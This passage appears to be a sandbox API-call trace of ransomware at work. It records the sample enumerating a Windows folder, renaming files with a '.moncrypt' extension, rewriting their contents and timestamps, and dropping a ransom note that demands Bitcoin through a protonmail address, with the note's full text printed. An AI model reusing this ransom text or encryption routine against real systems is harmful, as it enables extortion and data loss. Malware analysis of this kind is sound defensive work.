lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0054.085] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0054.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.086] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.086] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.086] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.moncrypt")) returned 1 [0054.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.087] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.087] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x5534 [0054.087] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.087] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.096] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.097] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.097] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.097] GlobalUnlock (hMem=0x440004) returned 0 [0054.097] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.097] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.097] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.097] GlobalUnlock (hMem=0x440004) returned 0 [0054.097] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.097] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.097] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.097] GlobalUnlock (hMem=0x44000c) returned 0 [0054.097] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.097] GlobalUnlock (hMem=0x440004) returned 0 [0054.097] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.097] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.098] GlobalUnlock (hMem=0x440004) returned 0 [0054.098] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.098] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.098] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.098] GlobalUnlock (hMem=0x440004) returned 0 [0054.098] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.098] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.098] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.098] SetFilePointer (in: hFile=0x18c, lDistanceToMove=21812, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x5534 [0054.098] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.098] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.098] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.110] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.110] CloseHandle (hObject=0x18c) returned 1 [0054.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.111] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.111] CloseHandle (hObject=0x18c) returned 1 [0054.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.112] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.112] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.112] GlobalUnlock (hMem=0x440004) returned 0 [0054.112] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.112] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.112] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.112] GlobalUnlock (hMem=0x440004) returned 0 [0054.112] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.112] GlobalUnlock (hMem=0x44000c) returned 0 [0054.112] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416c5640, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x416c5640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x416c5640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.113] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.113] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.113] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.113] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.113] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.113] CloseHandle (hObject=0x18c) returned 1 [0054.114] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.114] GetLastError () returned 0x12 [0054.114] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.114] GlobalUnlock (hMem=0x44000c) returned 0 [0054.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.114] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.114] GlobalUnlock (hMem=0x44000c) returned 0 [0054.114] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.114] GlobalUnlock (hMem=0x440004) returned 0 [0054.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x416c5640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x416c5640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.114] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.114] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.114] GlobalLock (hMem=0x440004) returned 0x550170 [0054.115] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.115] GlobalUnlock (hMem=0x440004) returned 0 [0054.115] GlobalLock (hMem=0x440004) returned 0x550170 [0054.115] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.115] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.115] GlobalUnlock (hMem=0x440004) returned 0 [0054.115] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.115] GlobalUnlock (hMem=0x44000c) returned 0 [0054.115] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.115] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x416c5640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x416c5640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.115] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.115] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.115] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.115] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.115] GlobalUnlock (hMem=0x44000c) returned 0 [0054.115] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.115] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.115] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.115] GlobalUnlock (hMem=0x44000c) returned 0 [0054.115] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.115] GlobalUnlock (hMem=0x440004) returned 0 [0054.115] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.115] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416c5640, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x416c5640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x416c5640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.115] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.115] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.115] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.116] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.116] GlobalUnlock (hMem=0x440004) returned 0 [0054.116] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.116] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.116] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.116] GlobalUnlock (hMem=0x440004) returned 0 [0054.116] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.116] GlobalUnlock (hMem=0x44000c) returned 0 [0054.116] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.116] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.116] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.116] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.116] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.116] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.116] GlobalUnlock (hMem=0x44000c) returned 0 [0054.116] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.116] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.116] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.116] GlobalUnlock (hMem=0x44000c) returned 0 [0054.116] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.116] GlobalUnlock (hMem=0x440004) returned 0 [0054.116] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.116] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd664, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM.moncrypt", cAlternateFileName="SONORA~1.MON")) returned 1 [0054.116] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.116] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.116] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.116] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.117] GlobalUnlock (hMem=0x440004) returned 0 [0054.117] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.117] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.117] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.117] GlobalUnlock (hMem=0x440004) returned 0 [0054.117] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.117] GlobalUnlock (hMem=0x44000c) returned 0 [0054.117] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.117] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0054.117] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.117] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.117] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.117] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.117] GlobalUnlock (hMem=0x44000c) returned 0 [0054.117] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.117] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.117] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.117] GlobalUnlock (hMem=0x44000c) returned 0 [0054.117] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.117] GlobalUnlock (hMem=0x440004) returned 0 [0054.117] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.117] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, 